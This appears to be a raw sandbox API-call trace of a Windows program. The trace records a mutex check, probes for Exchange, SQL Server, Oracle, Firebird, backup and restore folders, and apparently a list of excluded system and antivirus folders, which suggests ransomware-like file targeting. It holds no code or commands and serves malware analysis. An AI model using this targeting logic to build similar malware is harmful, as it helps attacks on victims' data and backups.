GlobalHandle (pMem=0x551178) returned 0x440004 [0046.985] GlobalUnlock (hMem=0x440004) returned 0 [0046.985] GlobalLock (hMem=0x440004) returned 0x551178 [0046.985] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.985] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.985] GlobalUnlock (hMem=0x440004) returned 0 [0046.985] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.985] GlobalUnlock (hMem=0x44000c) returned 0 [0046.985] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.985] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0046.986] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0046.986] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0046.986] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.986] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.986] GlobalUnlock (hMem=0x44000c) returned 0 [0046.986] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.986] GlobalLock (hMem=0x440004) returned 0x553188 [0046.986] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.986] GlobalUnlock (hMem=0x44000c) returned 0 [0046.986] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.986] GlobalUnlock (hMem=0x440004) returned 0 [0046.986] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.986] GlobalLock (hMem=0x440004) returned 0x551178 [0046.986] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.986] GlobalUnlock (hMem=0x440004) returned 0 [0046.986] GlobalLock (hMem=0x440004) returned 0x551178 [0046.986] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.986] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.986] GlobalUnlock (hMem=0x440004) returned 0 [0046.986] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.986] GlobalUnlock (hMem=0x44000c) returned 0 [0046.986] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.986] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization", len=0x43 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization") returned 1 [0046.986] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.986] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.986] GlobalUnlock (hMem=0x44000c) returned 0 [0046.986] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.986] GlobalLock (hMem=0x440004) returned 0x553188 [0046.987] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.987] GlobalUnlock (hMem=0x44000c) returned 0 [0046.987] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.987] GlobalUnlock (hMem=0x440004) returned 0 [0046.987] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0046.987] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⠀R⟔R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0046.992] GetLastError () returned 0x3 [0046.992] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.992] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.992] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0046.992] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@❌R企@\x18권Q\x181")) returned 0xffffffff [0046.992] GetLastError () returned 0x2 [0046.992] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.992] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.993] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.993] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@╜R企@\x18?T\x18;")) returned 0xffffffff [0046.993] GetLastError () returned 0x2 [0046.993] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.993] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.993] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0046.993] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@♔R企@\x18?T\x18D")) returned 0xffffffff [0046.993] GetLastError () returned 0x2 [0046.994] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.994] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0046.994] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0046.994] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@❌R企@\x18╜R\x18j")) returned 0xffffffff [0046.994] GetLastError () returned 0x2 [0046.994] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.994] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0046.994] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.994] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@♔R企@\x18?T\x18q")) returned 0xffffffff [0046.995] GetLastError () returned 0x2 [0046.995] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.995] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\╘RP") returned 6 [0046.995] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.995] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@⡄R企@\x18?T\x18y")) returned 0xffffffff [0046.995] GetLastError () returned 0x2 [0046.995] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.995] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0046.995] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@❌R企@\x18?T\x18\x81")) returned 0xffffffff [0046.996] GetLastError () returned 0x2 [0046.996] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0046.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@♔R企@\x18?T\x18\x88")) returned 0xffffffff [0046.996] GetLastError () returned 0x2 [0046.996] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0046.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@⡄R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.996] GetLastError () returned 0x2 [0046.996] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0046.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@❌R企@\x18?T\x18\x97")) returned 0xffffffff [0046.996] GetLastError () returned 0x2 [0046.996] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0046.996] GlobalLock (hMem=0x440004) returned 0x551178 [0046.996] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.996] GlobalUnlock (hMem=0x440004) returned 0 [0046.996] GlobalLock (hMem=0x440004) returned 0x551178 [0046.997] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.997] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.997] GlobalUnlock (hMem=0x440004) returned 0 [0046.997] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.997] GlobalUnlock (hMem=0x44000c) returned 0 [0046.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.997] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.997] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0046.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.997] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.997] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.997] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.997] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.997] GlobalUnlock (hMem=0x44000c) returned 0 [0046.997] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.997] GlobalLock (hMem=0x440004) returned 0x553188 [0046.997] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.997] GlobalUnlock (hMem=0x44000c) returned 0 [0046.997] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.997] GlobalUnlock (hMem=0x440004) returned 0 [0046.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.998] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.998] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0046.998] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0046.998] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0046.998] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0046.998] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.998] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0046.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0046.998] GlobalLock (hMem=0x440004) returned 0x551178 [0046.998] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.998] GlobalUnlock (hMem=0x440004) returned 0 [0046.998] GlobalLock (hMem=0x440004) returned 0x551178 [0046.998] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.998] GlobalHandle (pMem=0x551178) returned 